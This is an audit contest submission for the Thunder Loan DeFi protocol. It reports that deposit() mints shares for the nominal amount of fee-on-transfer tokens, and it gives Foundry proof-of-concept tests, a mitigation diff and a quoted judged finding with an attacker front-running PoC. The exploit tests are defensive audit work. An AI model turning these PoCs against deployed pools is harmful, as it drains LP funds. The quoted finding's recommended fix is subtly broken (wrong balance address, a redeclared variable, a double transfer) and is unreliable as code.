Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: medium
Valid

deposit() mints AssetToken shares for the nominal amount, not the amount the pool received, so README-listed fee-on-transfer tokens (STA, PAXG) leave the pool under-backed and the last LPs cannot redeem their principal

Root + Impact

Description

  • deposit() should give the LP AssetToken shares worth exactly the underlying that reached the AssetToken. That keeps total claims (shares x exchange rate) covered by the AssetToken's underlying balance, so every LP can redeem their share.

  • In both ThunderLoan and ThunderLoanUpgraded, deposit() computes mintAmount from the nominal amount and mints it. Only then does it pull amount with safeTransferFrom, and it never measures what the AssetToken actually received. For a token that burns or charges a fee on transfer, the pool receives less than amount while shares for the full amount are minted. The README (L140-146) lists STA and PAXG as supported non-standard tokens. redeem() pays shares x rate through transferUnderlyingTo, so the pool owes more than it holds, and the last LPs to redeem are short.

// src/protocol/ThunderLoan.sol L147-L156
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; // @>
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount); // @>
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @>
}
​
// src/protocol/ThunderLoan.sol L174-L177 (redeem pays the full nominal claim)
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
assetToken.burn(msg.sender, amountOfAssetToken);
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
​
// src/upgradedProtocol/ThunderLoanUpgraded.sol L146-L154
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; // @>
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount); // @>
​
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @>
}

Risk

Likelihood:

  • It happens on ordinary deposits of any listed fee-on-transfer or burn-on-transfer token, with no attacker involved. README L140-146 names STA and PAXG as supported non-standard tokens, so listing them is intended operation, not an owner mistake.

  • It is limited to the fee-on-transfer subset of allowed tokens, and listing a token is an owner action (setAllowedToken). Standard ERC20s are unaffected: the baseline test shows both LPs redeeming in full.

  • The loss shows up only when redemptions reach the end of the pool's liquidity, for example the last LPs to withdraw in a wind-down. Earlier redeemers are paid in full and see no problem.

Impact:

  • LP principal is lost, borne by whoever redeems last. In the PoC, two 1000e18 deposits of a 1%-burn token leave 1980e18 in the AssetToken against 2000e18 shares. After LP1 redeems 1000e18, LP2's redeem(max) reverts with "ERC20: transfer amount exceeds balance". LP2 can recover at most 980e18, and 20e18 of its shares have no backing.

  • The shortfall is bounded by the token's transfer fee times deposit volume (1% in the mock; a smaller-fee token loses less). No attacker gains the missing funds. Any user can widen the deficit by cycling deposit/redeem, but pays about the same amount: in the PoC, 5 cycles raise an honest LP's deficit from 10e18 to 60e18 and cost the cycling user 50e18.

  • Both V1 and V2 have the same root cause. In V1 the extra unbacked claim (10e18 on a 1000e18 deposit in the PoC) adds to the deficit caused by the separate deposit-fee exchange-rate bug.

Proof of Concept

test/PoC_TL-10.t.sol deploys ThunderLoan (V1) and ThunderLoanUpgraded (V2), each behind an ERC1967 proxy, using the repo's MockPoolFactory. It lists a standard ERC20Mock and a mock token that burns 1% of every transfer to model STA. The four tests show: with the standard token both LPs redeem in full; with the burn token, LP2's redeem(max) reverts after LP1 redeems and LP2 keeps 20e18 unbacked shares; five deposit/redeem cycles by another user grow an honest LP's deficit from 10e18 to 60e18 at a cost of 50e18; and in V1 the burn token's deficit is exactly 10e18 above the standard token's. Run with forge test --match-path test/PoC_TL-10.t.sol -vv.

File test/PoC_TL-10.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-10.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
​
/// STA-style deflationary token: every transfer burns 1% of the amount, so the
/// recipient receives 99% while the sender is debited 100%.
contract TL10BurnOnTransferToken is ERC20 {
uint256 public constant BURN_BPS = 100; // 1%
​
constructor() ERC20("Mock Statera", "STA") { }
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
​
function _transfer(address from, address to, uint256 amount) internal override {
uint256 burnAmount = (amount * BURN_BPS) / 10_000;
super._transfer(from, to, amount - burnAmount);
_burn(from, burnAmount);
}
}
​
contract PoC_TL10 is Test {
ThunderLoanUpgraded internal tlV2; // fee-free deposit path: isolates this root cause
ThunderLoan internal tlV1; // in-scope V1, also carries the separate deposit-fee bug
​
MockPoolFactory internal factory;
ERC20Mock internal standardToken;
TL10BurnOnTransferToken internal sta;
​
address internal lp1 = makeAddr("lp1");
address internal lp2 = makeAddr("lp2");
address internal griefer = makeAddr("griefer");
​
uint256 internal constant DEPOSIT = 1000e18;
​
function setUp() public {
factory = new MockPoolFactory();
standardToken = new ERC20Mock();
sta = new TL10BurnOnTransferToken();
factory.createPool(address(standardToken));
factory.createPool(address(sta));
​
// V2 (ThunderLoanUpgraded) behind a UUPS proxy
ThunderLoanUpgraded implV2 = new ThunderLoanUpgraded();
tlV2 = ThunderLoanUpgraded(
address(new ERC1967Proxy(address(implV2), abi.encodeCall(ThunderLoanUpgraded.initialize, (address(factory)))))
);
// V1 (ThunderLoan) behind its own proxy
ThunderLoan implV1 = new ThunderLoan();
tlV1 = ThunderLoan(
address(new ERC1967Proxy(address(implV1), abi.encodeCall(ThunderLoan.initialize, (address(factory)))))
);
​
// Owner (this contract) lists both tokens on both deployments. STA is in the README's opt-in list.
tlV2.setAllowedToken(IERC20(address(standardToken)), true);
tlV2.setAllowedToken(IERC20(address(sta)), true);
tlV1.setAllowedToken(IERC20(address(standardToken)), true);
tlV1.setAllowedToken(IERC20(address(sta)), true);
​
address[3] memory users = [lp1, lp2, griefer];
for (uint256 i; i < users.length; i++) {
standardToken.mint(users[i], 100_000e18);
sta.mint(users[i], 100_000e18);
vm.startPrank(users[i]);
standardToken.approve(address(tlV2), type(uint256).max);
sta.approve(address(tlV2), type(uint256).max);
standardToken.approve(address(tlV1), type(uint256).max);
sta.approve(address(tlV1), type(uint256).max);
vm.stopPrank();
}
}
​
function _depositV2(address who, IERC20 token, uint256 amount) internal {
vm.prank(who);
tlV2.deposit(token, amount);
}
​
/// Baseline: with a standard ERC20, two LPs deposit 1000 each and both redeem everything.
function test_Baseline_StandardToken_BothLPsRedeemInFull() public {
IERC20 token = IERC20(address(standardToken));
AssetToken at = tlV2.getAssetFromToken(token);
​
_depositV2(lp1, token, DEPOSIT);
_depositV2(lp2, token, DEPOSIT);
assertEq(token.balanceOf(address(at)), 2 * DEPOSIT, "pool fully backed");
assertEq(at.totalSupply(), 2 * DEPOSIT, "shares == underlying");
​
uint256 lp2Before = token.balanceOf(lp2);
vm.prank(lp1);
tlV2.redeem(token, type(uint256).max);
vm.prank(lp2);
tlV2.redeem(token, type(uint256).max);
​
assertEq(token.balanceOf(lp2) - lp2Before, DEPOSIT, "LP2 gets full principal back");
assertEq(token.balanceOf(address(at)), 0, "pool emptied exactly");
assertEq(at.totalSupply(), 0, "no stranded shares");
}
​
/// The bug: STA-style token. Shares are minted for the gross amount, the pool receives the net amount,
/// and the last LP to redeem cannot get their claim out.
function test_FoT_V2_SharesMintedOnGross_LastLPRedeemReverts() public {
IERC20 token = IERC20(address(sta));
AssetToken at = tlV2.getAssetFromToken(token);
​
_depositV2(lp1, token, DEPOSIT);
_depositV2(lp2, token, DEPOSIT);
​
uint256 poolBal = token.balanceOf(address(at));
uint256 claims = at.totalSupply() * at.getExchangeRate() / at.EXCHANGE_RATE_PRECISION();
console.log("AssetToken underlying balance:", poolBal);
console.log("Shares minted (total supply): ", at.totalSupply());
console.log("Claims on the pool (shares*rate):", claims);
assertEq(poolBal, 1980e18, "pool actually received 99% of each deposit");
assertEq(at.balanceOf(lp1), DEPOSIT, "LP1 credited for the gross 1000");
assertEq(at.balanceOf(lp2), DEPOSIT, "LP2 credited for the gross 1000");
assertEq(claims - poolBal, 20e18, "20e18 of claims have nothing behind them");
​
// LP1 redeems first and is paid the full 1000 by the pool.
vm.prank(lp1);
tlV2.redeem(token, type(uint256).max);
assertEq(token.balanceOf(address(at)), 980e18, "pool left with 980 for LP2's 1000 claim");
​
// LP2's redeem(max) needs 1000 and reverts.
vm.prank(lp2);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tlV2.redeem(token, type(uint256).max);
​
// The most LP2 can recover is 980 shares worth; 20 shares are stranded and unbacked.
vm.prank(lp2);
tlV2.redeem(token, 980e18);
assertEq(token.balanceOf(address(at)), 0, "pool is empty");
assertEq(at.balanceOf(lp2), 20e18, "LP2 still holds 20e18 shares with zero backing");
console.log("LP2 stranded shares:", at.balanceOf(lp2));
console.log("Pool payout to LP1:", uint256(1000e18), " pool payout to LP2:", uint256(980e18));
}
​
/// Griefing limb: each deposit/redeem cycle widens the pool's deficit by t*X and costs the griefer ~t*X.
function test_FoT_V2_GriefingCycleWidensDeficit() public {
IERC20 token = IERC20(address(sta));
AssetToken at = tlV2.getAssetFromToken(token);
​
_depositV2(lp1, token, DEPOSIT); // honest LP: pool holds 990 vs 1000 claim
uint256 grieferStart = token.balanceOf(griefer);
​
uint256 cycles = 5;
for (uint256 i; i < cycles; i++) {
_depositV2(griefer, token, DEPOSIT);
vm.prank(griefer);
tlV2.redeem(token, type(uint256).max);
}
​
uint256 poolBal = token.balanceOf(address(at));
uint256 lp1Claim = at.balanceOf(lp1) * at.getExchangeRate() / at.EXCHANGE_RATE_PRECISION();
uint256 grieferCost = grieferStart - token.balanceOf(griefer);
console.log("Pool balance after 5 griefing cycles:", poolBal);
console.log("LP1 claim:", lp1Claim);
console.log("Griefer cost:", grieferCost);
​
assertEq(poolBal, 990e18 - cycles * 10e18, "each cycle drains t*X = 10e18 from the pool");
assertEq(lp1Claim - poolBal, 60e18, "LP1 deficit grew from 10e18 to 60e18");
assertEq(grieferCost, cycles * 10e18, "griefer paid ~t*X per cycle (the burn on the payout)");
​
vm.prank(lp1);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tlV2.redeem(token, type(uint256).max);
}
​
/// V1 has the same root cause; its gross-amount over-credit stacks on top of the separate deposit-fee
/// rate inflation. Compared with a standard token deposited the same way, the STA pool's deficit is
/// larger by exactly t*amount = 10e18.
function test_FoT_V1_SameRootCause_DeficitExceedsStandardByTransferFee() public {
IERC20 std = IERC20(address(standardToken));
IERC20 fot = IERC20(address(sta));
AssetToken atStd = tlV1.getAssetFromToken(std);
AssetToken atFot = tlV1.getAssetFromToken(fot);
​
vm.startPrank(lp1);
tlV1.deposit(std, DEPOSIT);
tlV1.deposit(fot, DEPOSIT);
vm.stopPrank();
​
// Same shares minted for the same nominal amount, regardless of what was received.
assertEq(atStd.balanceOf(lp1), DEPOSIT);
assertEq(atFot.balanceOf(lp1), DEPOSIT);
assertEq(atStd.getExchangeRate(), atFot.getExchangeRate(), "same rate on both pools");
​
uint256 claimStd = atStd.balanceOf(lp1) * atStd.getExchangeRate() / 1e18;
uint256 claimFot = atFot.balanceOf(lp1) * atFot.getExchangeRate() / 1e18;
uint256 deficitStd = claimStd - std.balanceOf(address(atStd));
uint256 deficitFot = claimFot - fot.balanceOf(address(atFot));
console.log("V1 standard-token deficit (separate deposit-fee bug):", deficitStd);
console.log("V1 STA deficit:", deficitFot);
​
assertEq(fot.balanceOf(address(atFot)), 990e18, "V1 pool also received only 99%");
assertEq(deficitFot - deficitStd, 10e18, "fee-on-transfer adds t*amount on top in V1");
}
}

Recommended Mitigation

--- a/src/protocol/ThunderLoan.sol
+++ b/src/protocol/ThunderLoan.sol
@@ -147,10 +147,12 @@
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
- uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
+ uint256 balanceBefore = token.balanceOf(address(assetToken));
+ token.safeTransferFrom(msg.sender, address(assetToken), amount);
+ uint256 received = token.balanceOf(address(assetToken)) - balanceBefore;
+ uint256 mintAmount = (received * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
- token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
--- a/src/upgradedProtocol/ThunderLoanUpgraded.sol
+++ b/src/upgradedProtocol/ThunderLoanUpgraded.sol
@@ -146,9 +146,10 @@
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
- uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
+ uint256 balanceBefore = token.balanceOf(address(assetToken));
+ token.safeTransferFrom(msg.sender, address(assetToken), amount);
+ uint256 received = token.balanceOf(address(assetToken)) - balanceBefore;
+ uint256 mintAmount = (received * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
-
- token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] `ThunderLoan:: deposit` is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Looses there deposit and yield

## Description `deposit` function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset then it's supposed to be. ## Vulnerability Details Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens. `Deposit` function mint the tokens that user has inputted in the params and mint the same amount of Asset token. ```solidity function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); @> uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); uint256 calculatedFee = getCalculatedFee(token, amount); assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` As you can see in highlighted line, It calculates the token amount based on `amount` rather actual token amount received by the contract. If any fees token is supplied to contract, then `redeem` function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw there underlying token ever. ## Proof of Concept Token like `STA` and `PAXG` has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of `STA` here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount. ```solidity uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; ``` `Alice` initiate a transaction to call `deposit` with 1 million `STA`. `Attacker` notice the transaction and `deposit` 2 million `STA` before him. So contract will be receive 990,000 tokens from `Alice` and 198000 tokens from attacker. Now attacker call withdraw the `STA` token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him. Here is given example in foundry where we set asset token which has 1% fees. in `BaseTest.t.sol` we import custom erc20 for underlying token creation which has 1% fees on transfers. `CUSTOM MOCK TOKEN` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {ERC20} from "../token/ERC20/ERC20.sol"; contract CustomERC20Mock is ERC20 { constructor() ERC20("ERC20Mock", "E20M") {} function mint(address account, uint256 amount) external { _mint(account, amount); } function burn(address account, uint256 amount) external { _burn(account, amount); } function _transfer(address from, address to, uint256 amount) internal override { _burn(from, amount/100); super._transfer(from, to, amount - (amount/100)); } } ``` updated `BaseTest.t.sol` file ```diff // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { Test, console } from "forge-std/Test.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol"; import { MockTSwapPool } from "../mocks/MockTSwapPool.sol"; import { MockPoolFactory } from "../mocks/MockPoolFactory.sol"; + import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol"; import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; contract BaseTest is Test { ThunderLoan thunderLoanImplementation; MockPoolFactory mockPoolFactory; ERC1967Proxy proxy; ThunderLoan thunderLoan; ERC20Mock weth; - ERC20Mock tokenA; + CustomERC20Mock tokenA; function setUp() public virtual { thunderLoan = new ThunderLoan(); mockPoolFactory = new MockPoolFactory(); weth = new ERC20Mock(); - tokenA = new ERC20Mock(); + tokenA = new CustomERC20Mock(); mockPoolFactory.createPool(address(tokenA)); proxy = new ERC1967Proxy(address(thunderLoan), ""); thunderLoan = ThunderLoan(address(proxy)); thunderLoan.initialize(address(mockPoolFactory)); } } ``` ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { Test, console2 } from "forge-std/Test.sol"; import { BaseTest, ThunderLoan } from "./BaseTest.t.sol"; import { AssetToken } from "../../src/protocol/AssetToken.sol"; import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol"; contract ThunderLoanTest is BaseTest { uint256 constant ALICE_AMOUNT = 1e7 * 1e18; uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18; address attacker = address(789); address alice = address(0x123); MockFlashLoanReceiver mockFlashLoanReceiver; function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); } function testAttackerGettingMoreTokens() public setAllowedToken { tokenA.mint(attacker, ATTACKER_AMOUNT); tokenA.mint(alice, ALICE_AMOUNT); vm.startPrank(attacker); tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT); /// First deposit in contract by attacker thunderLoan.deposit(tokenA, ATTACKER_AMOUNT); vm.stopPrank(); AssetToken asset = thunderLoan.getAssetFromToken(tokenA); uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(address(asset)); uint256 difference = ATTACKER_AMOUNT - contractBalanceAfterAttackerDeposit; uint256 attackerAssetTokenBalance = asset.balanceOf(attacker); console2.log(contractBalanceAfterAttackerDeposit, "Contract balance of token A after first deposit"); console2.log(attackerAssetTokenBalance, "attacker balance of asset token"); console2.log(difference, "difference b/w actual amount and deposited amount"); vm.startPrank(alice); tokenA.approve(address(thunderLoan), ALICE_AMOUNT); thunderLoan.deposit(tokenA, ALICE_AMOUNT); vm.stopPrank(); uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(asset)) - contractBalanceAfterAttackerDeposit; console2.log(ALICE_AMOUNT, "Actual input by alice"); console2.log(actualAmountDepositedByUser, "Actual balance Deposited by Alice"); console2.log(tokenA.balanceOf(address(asset)), "thunderloan balance of Token A after Alice deposit"); console2.log(asset.balanceOf(alice), "Alice Asset Token Balance"); vm.startPrank(attacker); thunderLoan.redeem(tokenA, asset.balanceOf(attacker)); console2.log(tokenA.balanceOf(attacker), "AttackerBalance"); // how much token he claimed vm.stopPrank(); /// if alice try to claim her underlying tokens now, tx will fail as contract /// don't have enough funds vm.startPrank(alice); uint256 amountToClaim = asset.balanceOf(alice); vm.expectRevert(); thunderLoan.redeem(tokenA, amountToClaim); vm.stopPrank(); } } ``` run the following command in terminal `forge test --match-test testAttackerGettingMoreTokens() -vv` it will return something like this- ```terminal [⠒] Compiling... [⠊] Compiling 1 files with 0.8.20 [⠒] Solc 0.8.20 finished in 1.94s Compiler run successful! Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] testAttackerGettingMoreTokens() (gas: 1265386) Logs: 19800000000000000000000000 Contract balance of token A after first deposit 20000000000000000000000000 attacker balance of asset token 200000000000000000000000 difference b/w actual amount and deposited amount 10000000000000000000000000 Actual input by alice 9900000000000000000000000 Actual balance Deposited by Alice 29700000000000000000000000 thunderloan balance of Token A after Alice deposit 9970089730807577268195413 Alice Asset Token Balance 19879279219760479041600000 AttackerBalance ``` ## Impact Loss of user funds ## Recommendations Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation. ```solidity uint256 amountBefore = IERC20(token).balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(assetToken), amount); uint256 amountAfter = IERC20(token).balanceOf(address(this)); uint256 amount = AmountAfter - amountBefore; ``` deposit function can be written like this. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); + uint256 amountBefore = IERC20(token).balanceOf(address(this)); + token.safeTransferFrom(msg.sender, address(assetToken), amount); + uint256 amountAfter = IERC20(token).balanceOf(address(this)); + uint256 amount = AmountAfter - amountBefore; uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!